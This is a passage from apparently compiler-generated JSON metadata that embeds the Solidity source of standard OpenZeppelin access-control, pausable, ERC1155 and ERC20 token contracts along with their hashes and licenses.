an admin role\\n * bearer except when using {_setupRole}.\\n */\\n event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);\\n\\n /**\\n * @dev Emitted when `account` is revoked `role`.\\n *\\n * `sender` is the account that originated the contract call:\\n * - if using `revokeRole`, it is the admin role bearer\\n * - if using `renounceRole`, it is the role bearer (i.e. `account`)\\n */\\n event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);\\n\\n /**\\n * @dev Modifier that checks that an account has a specific role. Reverts\\n * with a standardized message including the required role.\\n *\\n * The format of the revert reason is given by the following regular expression:\\n *\\n * /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/\\n *\\n * _Available since v4.1._\\n */\\n modifier onlyRole(bytes32 role) {\\n _checkRole(role, _msgSender());\\n _;\\n }\\n\\n /**\\n * @dev See {IERC165-supportsInterface}.\\n */\\n function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\\n return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId);\\n }\\n\\n /**\\n * @dev Returns `true` if `account` has been granted `role`.\\n */\\n function hasRole(bytes32 role, address account) public view override returns (bool) {\\n return _roles[role].members[account];\\n }\\n\\n /**\\n * @dev Revert with a standard message if `account` is missing `role`.\\n *\\n * The format of the revert reason is given by the following regular expression:\\n *\\n * /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/\\n */\\n function _checkRole(bytes32 role, address account) internal view {\\n if (!hasRole(role, account)) {\\n revert(\\n string(\\n abi.encodePacked(\\n \\\"AccessControl: account \\\",\\n Strings.toHexString(uint160(account), 20),\\n \\\" is missing role \\\",\\n Strings.toHexString(uint256(role), 32)\\n )\\n )\\n );\\n }\\n }\\n\\n /**\\n * @dev Returns the admin role that controls `role`. See {grantRole} and\\n * {revokeRole}.\\n *\\n * To change a role's admin, use {_setRoleAdmin}.\\n */\\n function getRoleAdmin(bytes32 role) public view override returns (bytes32) {\\n return _roles[role].adminRole;\\n }\\n\\n /**\\n * @dev Grants `role` to `account`.\\n *\\n * If `account` had not been already granted `role`, emits a {RoleGranted}\\n * event.\\n *\\n * Requirements:\\n *\\n * - the caller must have ``role``'s admin role.\\n */\\n function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {\\n _grantRole(role, account);\\n }\\n\\n /**\\n * @dev Revokes `role` from `account`.\\n *\\n * If `account` had been granted `role`, emits a {RoleRevoked} event.\\n *\\n * Requirements:\\n *\\n * - the caller must have ``role``'s admin role.\\n */\\n function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {\\n _revokeRole(role, account);\\n }\\n\\n /**\\n * @dev Revokes `role` from the calling account.\\n *\\n * Roles are often managed via {grantRole} and {revokeRole}: this function's\\n * purpose is to provide a mechanism for accounts to lose their privileges\\n * if they are compromised (such as when a trusted device is misplaced).\\n *\\n * If the calling account had been granted `role`, emits a {RoleRevoked}\\n * event.\\n *\\n * Requirements:\\n *\\n * - the caller must be `account`.\\n */\\n function renounceRole(bytes32 role, address account) public virtual override {\\n require(account == _msgSender(), \\\"AccessControl: can only renounce roles for self\\\");\\n\\n _revokeRole(role, account);\\n }\\n\\n /**\\n * @dev Grants `role` to `account`.\\n *\\n * If `account` had not been already granted `role`, emits a {RoleGranted}\\n * event. Note that unlike {grantRole}, this function doesn't perform any\\n * checks on the calling account.\\n *\\n * [WARNING]\\n * ====\\n * This function should only be called from the constructor when setting\\n * up the initial roles for the system.\\n *\\n * Using this function in any other way is effectively circumventing the admin\\n * system imposed by {AccessControl}.\\n * ====\\n */\\n function _setupRole(bytes32 role, address account) internal virtual {\\n _grantRole(role, account);\\n }\\n\\n /**\\n * @dev Sets `adminRole` as ``role``'s admin role.\\n *\\n * Emits a {RoleAdminChanged} event.\\n */\\n function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {\\n emit RoleAdminChanged(role, getRoleAdmin(role), adminRole);\\n _roles[role].adminRole = adminRole;\\n }\\n\\n function _grantRole(bytes32 role, address account) private {\\n if (!hasRole(role, account)) {\\n _roles[role].members[account] = true;\\n emit RoleGranted(role, account, _msgSender());\\n }\\n }\\n\\n function _revokeRole(bytes32 role, address account) private {\\n if (hasRole(role, account)) {\\n _roles[role].members[account] = false;\\n emit RoleRevoked(role, account, _msgSender());\\n }\\n }\\n}\\n\",\"keccak256\":\"0x084f583de2c714665b0304529fe8b826a2809f29d03314e4dd9eea926e4bb0f3\",\"license\":\"MIT\"},\"@openzeppelin/contracts/security/Pausable.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"../utils/Context.sol\\\";\\n\\n/**\\n * @dev Contract module which allows children to implement an emergency stop\\n * mechanism that can be triggered by an authorized account.\\n *\\n * This module is used through inheritance. It will make available the\\n * modifiers `whenNotPaused` and `whenPaused`, which can be applied to\\n * the functions of your contract. Note that they will not be pausable by\\n * simply including this module, only once the modifiers are put in place.\\n */\\nabstract contract Pausable is Context {\\n /**\\n * @dev Emitted when the pause is triggered by `account`.\\n */\\n event Paused(address account);\\n\\n /**\\n * @dev Emitted when the pause is lifted by `account`.\\n */\\n event Unpaused(address account);\\n\\n bool private _paused;\\n\\n /**\\n * @dev Initializes the contract in unpaused state.\\n */\\n constructor() {\\n _paused = false;\\n }\\n\\n /**\\n * @dev Returns true if the contract is paused, and false otherwise.\\n */\\n function paused() public view virtual returns (bool) {\\n return _paused;\\n }\\n\\n /**\\n * @dev Modifier to make a function callable only when the contract is not paused.\\n *\\n * Requirements:\\n *\\n * - The contract must not be paused.\\n */\\n modifier whenNotPaused() {\\n require(!paused(), \\\"Pausable: paused\\\");\\n _;\\n }\\n\\n /**\\n * @dev Modifier to make a function callable only when the contract is paused.\\n *\\n * Requirements:\\n *\\n * - The contract must be paused.\\n */\\n modifier whenPaused() {\\n require(paused(), \\\"Pausable: not paused\\\");\\n _;\\n }\\n\\n /**\\n * @dev Triggers stopped state.\\n *\\n * Requirements:\\n *\\n * - The contract must not be paused.\\n */\\n function _pause() internal virtual whenNotPaused {\\n _paused = true;\\n emit Paused(_msgSender());\\n }\\n\\n /**\\n * @dev Returns to normal state.\\n *\\n * Requirements:\\n *\\n * - The contract must be paused.\\n */\\n function _unpause() internal virtual whenPaused {\\n _paused = false;\\n emit Unpaused(_msgSender());\\n }\\n}\\n\",\"keccak256\":\"0xa35b1f2a670cd2a701a52c398032c9fed72df1909fe394d77ceacbf074e8937b\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC1155/ERC1155.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"./IERC1155.sol\\\";\\nimport \\\"./IERC1155Receiver.sol\\\";\\nimport \\\"./extensions/IERC1155MetadataURI.sol\\\";\\nimport \\\"../../utils/Address.sol\\\";\\nimport \\\"../../utils/Context.sol\\\";\\nimport \\\"../../utils/introspection/ERC165.sol\\\";\\n\\n/**\\n * @dev Implementation of the basic standard multi-token.\\n * See https://eips.ethereum.org/EIPS/eip-1155\\n * Originally based on code by Enjin: https://github.com/enjin/erc-1155\\n *\\n * _Available since v3.1._\\n */\\ncontract ERC1155 is Context, ERC165, IERC1155, IERC1155MetadataURI {\\n using Address for address;\\n\\n // Mapping from token ID to account balances\\n mapping(uint256 => mapping(address => uint256)) private _balances;\\n\\n // Mapping from account to operator approvals\\n mapping(address => mapping(address => bool)) private _operatorApprovals;\\n\\n // Used as the URI for all token types by relying on ID substitution, e.g. https://token-cdn-domain/{id}.json\\n string private _uri;\\n\\n /**\\n * @dev See {_setURI}.\\n */\\n constructor(string memory uri_) {\\n _setURI(uri_);\\n }\\n\\n /**\\n * @dev See {IERC165-supportsInterface}.\\n */\\n function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {\\n return\\n interfaceId == type(IERC1155).interfaceId ||\\n interfaceId == type(IERC1155MetadataURI).interfaceId ||\\n super.supportsInterface(interfaceId);\\n }\\n\\n /**\\n * @dev See {IERC1155MetadataURI-uri}.\\n *\\n * This implementation returns the same URI for *all* token types. It relies\\n * on the token type ID substitution mechanism\\n * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP].\\n *\\n * Clients calling this function must replace the `\\\\{id\\\\}` substring with the\\n * actual token type ID.\\n */\\n function uri(uint256) public view virtual override returns (string memory) {\\n return _uri;\\n }\\n\\n /**\\n * @dev See {IERC1155-balanceOf}.\\n *\\n * Requirements:\\n *\\n * - `account` cannot be the zero address.\\n */\\n function balanceOf(address account, uint256 id) public view virtual override returns (uint256) {\\n require(account != address(0), \\\"ERC1155: balance query for the zero address\\\");\\n return _balances[id][account];\\n }\\n\\n /**\\n * @dev See {IERC1155-balanceOfBatch}.\\n *\\n * Requirements:\\n *\\n * - `accounts` and `ids` must have the same length.\\n */\\n function balanceOfBatch(address[] memory accounts, uint256[] memory ids)\\n public\\n view\\n virtual\\n override\\n returns (uint256[] memory)\\n {\\n require(accounts.length == ids.length, \\\"ERC1155: accounts and ids length mismatch\\\");\\n\\n uint256[] memory batchBalances = new uint256[](accounts.length);\\n\\n for (uint256 i = 0; i < accounts.length; ++i) {\\n batchBalances[i] = balanceOf(accounts[i], ids[i]);\\n }\\n\\n return batchBalances;\\n }\\n\\n /**\\n * @dev See {IERC1155-setApprovalForAll}.\\n */\\n function setApprovalForAll(address operator, bool approved) public virtual override {\\n require(_msgSender() != operator, \\\"ERC1155: setting approval status for self\\\");\\n\\n _operatorApprovals[_msgSender()][operator] = approved;\\n emit ApprovalForAll(_msgSender(), operator, approved);\\n }\\n\\n /**\\n * @dev See {IERC1155-isApprovedForAll}.\\n */\\n function isApprovedForAll(address account, address operator) public view virtual override returns (bool) {\\n return _operatorApprovals[account][operator];\\n }\\n\\n /**\\n * @dev See {IERC1155-safeTransferFrom}.\\n */\\n function safeTransferFrom(\\n address from,\\n address to,\\n uint256 id,\\n uint256 amount,\\n bytes memory data\\n ) public virtual override {\\n require(\\n from == _msgSender() || isApprovedForAll(from, _msgSender()),\\n \\\"ERC1155: caller is not owner nor approved\\\"\\n );\\n _safeTransferFrom(from, to, id, amount, data);\\n }\\n\\n /**\\n * @dev See {IERC1155-safeBatchTransferFrom}.\\n */\\n function safeBatchTransferFrom(\\n address from,\\n address to,\\n uint256[] memory ids,\\n uint256[] memory amounts,\\n bytes memory data\\n ) public virtual override {\\n require(\\n from == _msgSender() || isApprovedForAll(from, _msgSender()),\\n \\\"ERC1155: transfer caller is not owner nor approved\\\"\\n );\\n _safeBatchTransferFrom(from, to, ids, amounts, data);\\n }\\n\\n /**\\n * @dev Transfers `amount` tokens of token type `id` from `from` to `to`.\\n *\\n * Emits a {TransferSingle} event.\\n *\\n * Requirements:\\n *\\n * - `to` cannot be the zero address.\\n * - `from` must have a balance of tokens of type `id` of at least `amount`.\\n * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the\\n * acceptance magic value.\\n */\\n function _safeTransferFrom(\\n address from,\\n address to,\\n uint256 id,\\n uint256 amount,\\n bytes memory data\\n ) internal virtual {\\n require(to != address(0), \\\"ERC1155: transfer to the zero address\\\");\\n\\n address operator = _msgSender();\\n\\n _beforeTokenTransfer(operator, from, to, _asSingletonArray(id), _asSingletonArray(amount), data);\\n\\n uint256 fromBalance = _balances[id][from];\\n require(fromBalance >= amount, \\\"ERC1155: insufficient balance for transfer\\\");\\n unchecked {\\n _balances[id][from] = fromBalance - amount;\\n }\\n _balances[id][to] += amount;\\n\\n emit TransferSingle(operator, from, to, id, amount);\\n\\n _doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data);\\n }\\n\\n /**\\n * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_safeTransferFrom}.\\n *\\n * Emits a {TransferBatch} event.\\n *\\n * Requirements:\\n *\\n * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the\\n * acceptance magic value.\\n */\\n function _safeBatchTransferFrom(\\n address from,\\n address to,\\n uint256[] memory ids,\\n uint256[] memory amounts,\\n bytes memory data\\n ) internal virtual {\\n require(ids.length == amounts.length, \\\"ERC1155: ids and amounts length mismatch\\\");\\n require(to != address(0), \\\"ERC1155: transfer to the zero address\\\");\\n\\n address operator = _msgSender();\\n\\n _beforeTokenTransfer(operator, from, to, ids, amounts, data);\\n\\n for (uint256 i = 0; i < ids.length; ++i) {\\n uint256 id = ids[i];\\n uint256 amount = amounts[i];\\n\\n uint256 fromBalance = _balances[id][from];\\n require(fromBalance >= amount, \\\"ERC1155: insufficient balance for transfer\\\");\\n unchecked {\\n _balances[id][from] = fromBalance - amount;\\n }\\n _balances[id][to] += amount;\\n }\\n\\n emit TransferBatch(operator, from, to, ids, amounts);\\n\\n _doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data);\\n }\\n\\n /**\\n * @dev Sets a new URI for all token types, by relying on the token type ID\\n * substitution mechanism\\n * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP].\\n *\\n * By this mechanism, any occurrence of the `\\\\{id\\\\}` substring in either the\\n * URI or any of the amounts in the JSON file at said URI will be replaced by\\n * clients with the token type ID.\\n *\\n * For example, the `https://token-cdn-domain/\\\\{id\\\\}.json` URI would be\\n * interpreted by clients as\\n * `https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0.json`\\n * for token type ID 0x4cce0.\\n *\\n * See {uri}.\\n *\\n * Because these URIs cannot be meaningfully represented by the {URI} event,\\n * this function emits no events.\\n */\\n function _setURI(string memory newuri) internal virtual {\\n _uri = newuri;\\n }\\n\\n /**\\n * @dev Creates `amount` tokens of token type `id`, and assigns them to `account`.\\n *\\n * Emits a {TransferSingle} event.\\n *\\n * Requirements:\\n *\\n * - `account` cannot be the zero address.\\n * - If `account` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the\\n * acceptance magic value.\\n */\\n function _mint(\\n address account,\\n uint256 id,\\n uint256 amount,\\n bytes memory data\\n ) internal virtual {\\n require(account != address(0), \\\"ERC1155: mint to the zero address\\\");\\n\\n address operator = _msgSender();\\n\\n _beforeTokenTransfer(operator, address(0), account, _asSingletonArray(id), _asSingletonArray(amount), data);\\n\\n _balances[id][account] += amount;\\n emit TransferSingle(operator, address(0), account, id, amount);\\n\\n _doSafeTransferAcceptanceCheck(operator, address(0), account, id, amount, data);\\n }\\n\\n /**\\n * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_mint}.\\n *\\n * Requirements:\\n *\\n * - `ids` and `amounts` must have the same length.\\n * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the\\n * acceptance magic value.\\n */\\n function _mintBatch(\\n address to,\\n uint256[] memory ids,\\n uint256[] memory amounts,\\n bytes memory data\\n ) internal virtual {\\n require(to != address(0), \\\"ERC1155: mint to the zero address\\\");\\n require(ids.length == amounts.length, \\\"ERC1155: ids and amounts length mismatch\\\");\\n\\n address operator = _msgSender();\\n\\n _beforeTokenTransfer(operator, address(0), to, ids, amounts, data);\\n\\n for (uint256 i = 0; i < ids.length; i++) {\\n _balances[ids[i]][to] += amounts[i];\\n }\\n\\n emit TransferBatch(operator, address(0), to, ids, amounts);\\n\\n _doSafeBatchTransferAcceptanceCheck(operator, address(0), to, ids, amounts, data);\\n }\\n\\n /**\\n * @dev Destroys `amount` tokens of token type `id` from `account`\\n *\\n * Requirements:\\n *\\n * - `account` cannot be the zero address.\\n * - `account` must have at least `amount` tokens of token type `id`.\\n */\\n function _burn(\\n address account,\\n uint256 id,\\n uint256 amount\\n ) internal virtual {\\n require(account != address(0), \\\"ERC1155: burn from the zero address\\\");\\n\\n address operator = _msgSender();\\n\\n _beforeTokenTransfer(operator, account, address(0), _asSingletonArray(id), _asSingletonArray(amount), \\\"\\\");\\n\\n uint256 accountBalance = _balances[id][account];\\n require(accountBalance >= amount, \\\"ERC1155: burn amount exceeds balance\\\");\\n unchecked {\\n _balances[id][account] = accountBalance - amount;\\n }\\n\\n emit TransferSingle(operator, account, address(0), id, amount);\\n }\\n\\n /**\\n * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_burn}.\\n *\\n * Requirements:\\n *\\n * - `ids` and `amounts` must have the same length.\\n */\\n function _burnBatch(\\n address account,\\n uint256[] memory ids,\\n uint256[] memory amounts\\n ) internal virtual {\\n require(account != address(0), \\\"ERC1155: burn from the zero address\\\");\\n require(ids.length == amounts.length, \\\"ERC1155: ids and amounts length mismatch\\\");\\n\\n address operator = _msgSender();\\n\\n _beforeTokenTransfer(operator, account, address(0), ids, amounts, \\\"\\\");\\n\\n for (uint256 i = 0; i < ids.length; i++) {\\n uint256 id = ids[i];\\n uint256 amount = amounts[i];\\n\\n uint256 accountBalance = _balances[id][account];\\n require(accountBalance >= amount, \\\"ERC1155: burn amount exceeds balance\\\");\\n unchecked {\\n _balances[id][account] = accountBalance - amount;\\n }\\n }\\n\\n emit TransferBatch(operator, account, address(0), ids, amounts);\\n }\\n\\n /**\\n * @dev Hook that is called before any token transfer. This includes minting\\n * and burning, as well as batched variants.\\n *\\n * The same hook is called on both single and batched variants. For single\\n * transfers, the length of the `id` and `amount` arrays will be 1.\\n *\\n * Calling conditions (for each `id` and `amount` pair):\\n *\\n * - When `from` and `to` are both non-zero, `amount` of ``from``'s tokens\\n * of token type `id` will be transferred to `to`.\\n * - When `from` is zero, `amount` tokens of token type `id` will be minted\\n * for `to`.\\n * - when `to` is zero, `amount` of ``from``'s tokens of token type `id`\\n * will be burned.\\n * - `from` and `to` are never both zero.\\n * - `ids` and `amounts` have the same, non-zero length.\\n *\\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\\n */\\n function _beforeTokenTransfer(\\n address operator,\\n address from,\\n address to,\\n uint256[] memory ids,\\n uint256[] memory amounts,\\n bytes memory data\\n ) internal virtual {}\\n\\n function _doSafeTransferAcceptanceCheck(\\n address operator,\\n address from,\\n address to,\\n uint256 id,\\n uint256 amount,\\n bytes memory data\\n ) private {\\n if (to.isContract()) {\\n try IERC1155Receiver(to).onERC1155Received(operator, from, id, amount, data) returns (bytes4 response) {\\n if (response != IERC1155Receiver(to).onERC1155Received.selector) {\\n revert(\\\"ERC1155: ERC1155Receiver rejected tokens\\\");\\n }\\n } catch Error(string memory reason) {\\n revert(reason);\\n } catch {\\n revert(\\\"ERC1155: transfer to non ERC1155Receiver implementer\\\");\\n }\\n }\\n }\\n\\n function _doSafeBatchTransferAcceptanceCheck(\\n address operator,\\n address from,\\n address to,\\n uint256[] memory ids,\\n uint256[] memory amounts,\\n bytes memory data\\n ) private {\\n if (to.isContract()) {\\n try IERC1155Receiver(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns (\\n bytes4 response\\n ) {\\n if (response != IERC1155Receiver(to).onERC1155BatchReceived.selector) {\\n revert(\\\"ERC1155: ERC1155Receiver rejected tokens\\\");\\n }\\n } catch Error(string memory reason) {\\n revert(reason);\\n } catch {\\n revert(\\\"ERC1155: transfer to non ERC1155Receiver implementer\\\");\\n }\\n }\\n }\\n\\n function _asSingletonArray(uint256 element) private pure returns (uint256[] memory) {\\n uint256[] memory array = new uint256[](1);\\n array[0] = element;\\n\\n return array;\\n }\\n}\\n\",\"keccak256\":\"0x09c24182fc76ee97a5c604b6ff1a8afb3648535b6ba1820c23b243a40cc792a0\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC1155/IERC1155.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"../../utils/introspection/IERC165.sol\\\";\\n\\n/**\\n * @dev Required interface of an ERC1155 compliant contract, as defined in the\\n * https://eips.ethereum.org/EIPS/eip-1155[EIP].\\n *\\n * _Available since v3.1._\\n */\\ninterface IERC1155 is IERC165 {\\n /**\\n * @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`.\\n */\\n event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value);\\n\\n /**\\n * @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all\\n * transfers.\\n */\\n event TransferBatch(\\n address indexed operator,\\n address indexed from,\\n address indexed to,\\n uint256[] ids,\\n uint256[] values\\n );\\n\\n /**\\n * @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to\\n * `approved`.\\n */\\n event ApprovalForAll(address indexed account, address indexed operator, bool approved);\\n\\n /**\\n * @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI.\\n *\\n * If an {URI} event was emitted for `id`, the standard\\n * https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value\\n * returned by {IERC1155MetadataURI-uri}.\\n */\\n event URI(string value, uint256 indexed id);\\n\\n /**\\n * @dev Returns the amount of tokens of token type `id` owned by `account`.\\n *\\n * Requirements:\\n *\\n * - `account` cannot be the zero address.\\n */\\n function balanceOf(address account, uint256 id) external view returns (uint256);\\n\\n /**\\n * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}.\\n *\\n * Requirements:\\n *\\n * - `accounts` and `ids` must have the same length.\\n */\\n function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids)\\n external\\n view\\n returns (uint256[] memory);\\n\\n /**\\n * @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`,\\n *\\n * Emits an {ApprovalForAll} event.\\n *\\n * Requirements:\\n *\\n * - `operator` cannot be the caller.\\n */\\n function setApprovalForAll(address operator, bool approved) external;\\n\\n /**\\n * @dev Returns true if `operator` is approved to transfer ``account``'s tokens.\\n *\\n * See {setApprovalForAll}.\\n */\\n function isApprovedForAll(address account, address operator) external view returns (bool);\\n\\n /**\\n * @dev Transfers `amount` tokens of token type `id` from `from` to `to`.\\n *\\n * Emits a {TransferSingle} event.\\n *\\n * Requirements:\\n *\\n * - `to` cannot be the zero address.\\n * - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}.\\n * - `from` must have a balance of tokens of type `id` of at least `amount`.\\n * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the\\n * acceptance magic value.\\n */\\n function safeTransferFrom(\\n address from,\\n address to,\\n uint256 id,\\n uint256 amount,\\n bytes calldata data\\n ) external;\\n\\n /**\\n * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}.\\n *\\n * Emits a {TransferBatch} event.\\n *\\n * Requirements:\\n *\\n * - `ids` and `amounts` must have the same length.\\n * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the\\n * acceptance magic value.\\n */\\n function safeBatchTransferFrom(\\n address from,\\n address to,\\n uint256[] calldata ids,\\n uint256[] calldata amounts,\\n bytes calldata data\\n ) external;\\n}\\n\",\"keccak256\":\"0xfce1eb6398eae0e2b50251140866a70a3106193f101972c878bba1dbf44929ec\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"../../utils/introspection/IERC165.sol\\\";\\n\\n/**\\n * @dev _Available since v3.1._\\n */\\ninterface IERC1155Receiver is IERC165 {\\n /**\\n @dev Handles the receipt of a single ERC1155 token type. This function is\\n called at the end of a `safeTransferFrom` after the balance has been updated.\\n To accept the transfer, this must return\\n `bytes4(keccak256(\\\"onERC1155Received(address,address,uint256,uint256,bytes)\\\"))`\\n (i.e. 0xf23a6e61, or its own function selector).\\n @param operator The address which initiated the transfer (i.e. msg.sender)\\n @param from The address which previously owned the token\\n @param id The ID of the token being transferred\\n @param value The amount of tokens being transferred\\n @param data Additional data with no specified format\\n @return `bytes4(keccak256(\\\"onERC1155Received(address,address,uint256,uint256,bytes)\\\"))` if transfer is allowed\\n */\\n function onERC1155Received(\\n address operator,\\n address from,\\n uint256 id,\\n uint256 value,\\n bytes calldata data\\n ) external returns (bytes4);\\n\\n /**\\n @dev Handles the receipt of a multiple ERC1155 token types. This function\\n is called at the end of a `safeBatchTransferFrom` after the balances have\\n been updated. To accept the transfer(s), this must return\\n `bytes4(keccak256(\\\"onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)\\\"))`\\n (i.e. 0xbc197c81, or its own function selector).\\n @param operator The address which initiated the batch transfer (i.e. msg.sender)\\n @param from The address which previously owned the token\\n @param ids An array containing ids of each token being transferred (order and length must match values array)\\n @param values An array containing amounts of each token being transferred (order and length must match ids array)\\n @param data Additional data with no specified format\\n @return `bytes4(keccak256(\\\"onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)\\\"))` if transfer is allowed\\n */\\n function onERC1155BatchReceived(\\n address operator,\\n address from,\\n uint256[] calldata ids,\\n uint256[] calldata values,\\n bytes calldata data\\n ) external returns (bytes4);\\n}\\n\",\"keccak256\":\"0x7de6e64d4a8075e803a972cc77c4c91463e0c3777e4110eacfb5d4a71759b2fa\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC1155/extensions/ERC1155Burnable.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"../ERC1155.sol\\\";\\n\\n/**\\n * @dev Extension of {ERC1155} that allows token holders to destroy both their\\n * own tokens and those that they have been approved to use.\\n *\\n * _Available since v3.1._\\n */\\nabstract contract ERC1155Burnable is ERC1155 {\\n function burn(\\n address account,\\n uint256 id,\\n uint256 value\\n ) public virtual {\\n require(\\n account == _msgSender() || isApprovedForAll(account, _msgSender()),\\n \\\"ERC1155: caller is not owner nor approved\\\"\\n );\\n\\n _burn(account, id, value);\\n }\\n\\n function burnBatch(\\n address account,\\n uint256[] memory ids,\\n uint256[] memory values\\n ) public virtual {\\n require(\\n account == _msgSender() || isApprovedForAll(account, _msgSender()),\\n \\\"ERC1155: caller is not owner nor approved\\\"\\n );\\n\\n _burnBatch(account, ids, values);\\n }\\n}\\n\",\"keccak256\":\"0xedf8db444aa542739a0aabe8243a4e8100003aacba9783637a75f16bb556ab44\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC1155/extensions/ERC1155Pausable.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"../ERC1155.sol\\\";\\nimport \\\"../../../security/Pausable.sol\\\";\\n\\n/**\\n * @dev ERC1155 token with pausable token transfers, minting and burning.\\n *\\n * Useful for scenarios such as preventing trades until the end of an evaluation\\n * period, or having an emergency switch for freezing all token transfers in the\\n * event of a large bug.\\n *\\n * _Available since v3.1._\\n */\\nabstract contract ERC1155Pausable is ERC1155, Pausable {\\n /**\\n * @dev See {ERC1155-_beforeTokenTransfer}.\\n *\\n * Requirements:\\n *\\n * - the contract must not be paused.\\n */\\n function _beforeTokenTransfer(\\n address operator,\\n address from,\\n address to,\\n uint256[] memory ids,\\n uint256[] memory amounts,\\n bytes memory data\\n ) internal virtual override {\\n super._beforeTokenTransfer(operator, from, to, ids, amounts, data);\\n\\n require(!paused(), \\\"ERC1155Pausable: token transfer while paused\\\");\\n }\\n}\\n\",\"keccak256\":\"0x4f97aa55fc912e2ef5df98d1155d7fd1e7c0d486ad49b5d983d7fe2739ef7749\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC1155/extensions/IERC1155MetadataURI.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"../IERC1155.sol\\\";\\n\\n/**\\n * @dev Interface of the optional ERC1155MetadataExtension interface, as defined\\n * in the https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[EIP].\\n *\\n * _Available since v3.1._\\n */\\ninterface IERC1155MetadataURI is IERC1155 {\\n /**\\n * @dev Returns the URI for token type `id`.\\n *\\n * If the `\\\\{id\\\\}` substring is present in the URI, it must be replaced by\\n * clients with the actual token type ID.\\n */\\n function uri(uint256 id) external view returns (string memory);\\n}\\n\",\"keccak256\":\"0x6ba0564f6970414d1166ee83127b834bbe7dbf699241a3005eb7ae64a2211975\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC20/ERC20.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"./IERC20.sol\\\";\\nimport \\\"./extensions/IERC20Metadata.sol\\\";\\nimport \\\"../../utils/Context.sol\\\";\\n\\n/**\\n * @dev Implementation of the {IERC20} interface.\\n *\\n * This implementation is agnostic to the way tokens are created. This means\\n * that a supply mechanism has to be added in a derived contract using {_mint}.\\n * For a generic mechanism see {ERC20PresetMinterPauser}.\\n *\\n * TIP: For a detailed writeup see our guide\\n * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How\\n * to implement supply mechanisms].\\n *\\n * We have followed general OpenZeppelin guidelines: functions revert instead\\n * of returning `false` on failure. This behavior is nonetheless conventional\\n * and does not conflict with the expectations of ERC20 applications.\\n *\\n * Additionally, an {Approval} event is emitted on calls to {transferFrom}.\\n * This allows applications to reconstruct the allowance for all accounts just\\n * by listening to said events. Other implementations of the EIP may not emit\\n * these events, as it isn't required by the specification.\\n *\\n * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}\\n * functions have been added to mitigate the well-known issues around setting\\n * allowances. See {IERC20-approve}.\\n */\\ncontract ERC20 is Context, IERC20, IERC20Metadata {\\n mapping(address => uint256) private _balances;\\n\\n mapping(address => mapping(address => uint256)) private _allowances;\\n\\n uint256 private _totalSupply;\\n\\n string private _name;\\n string private _symbol;\\n\\n /**\\n * @dev Sets the values for {name} and 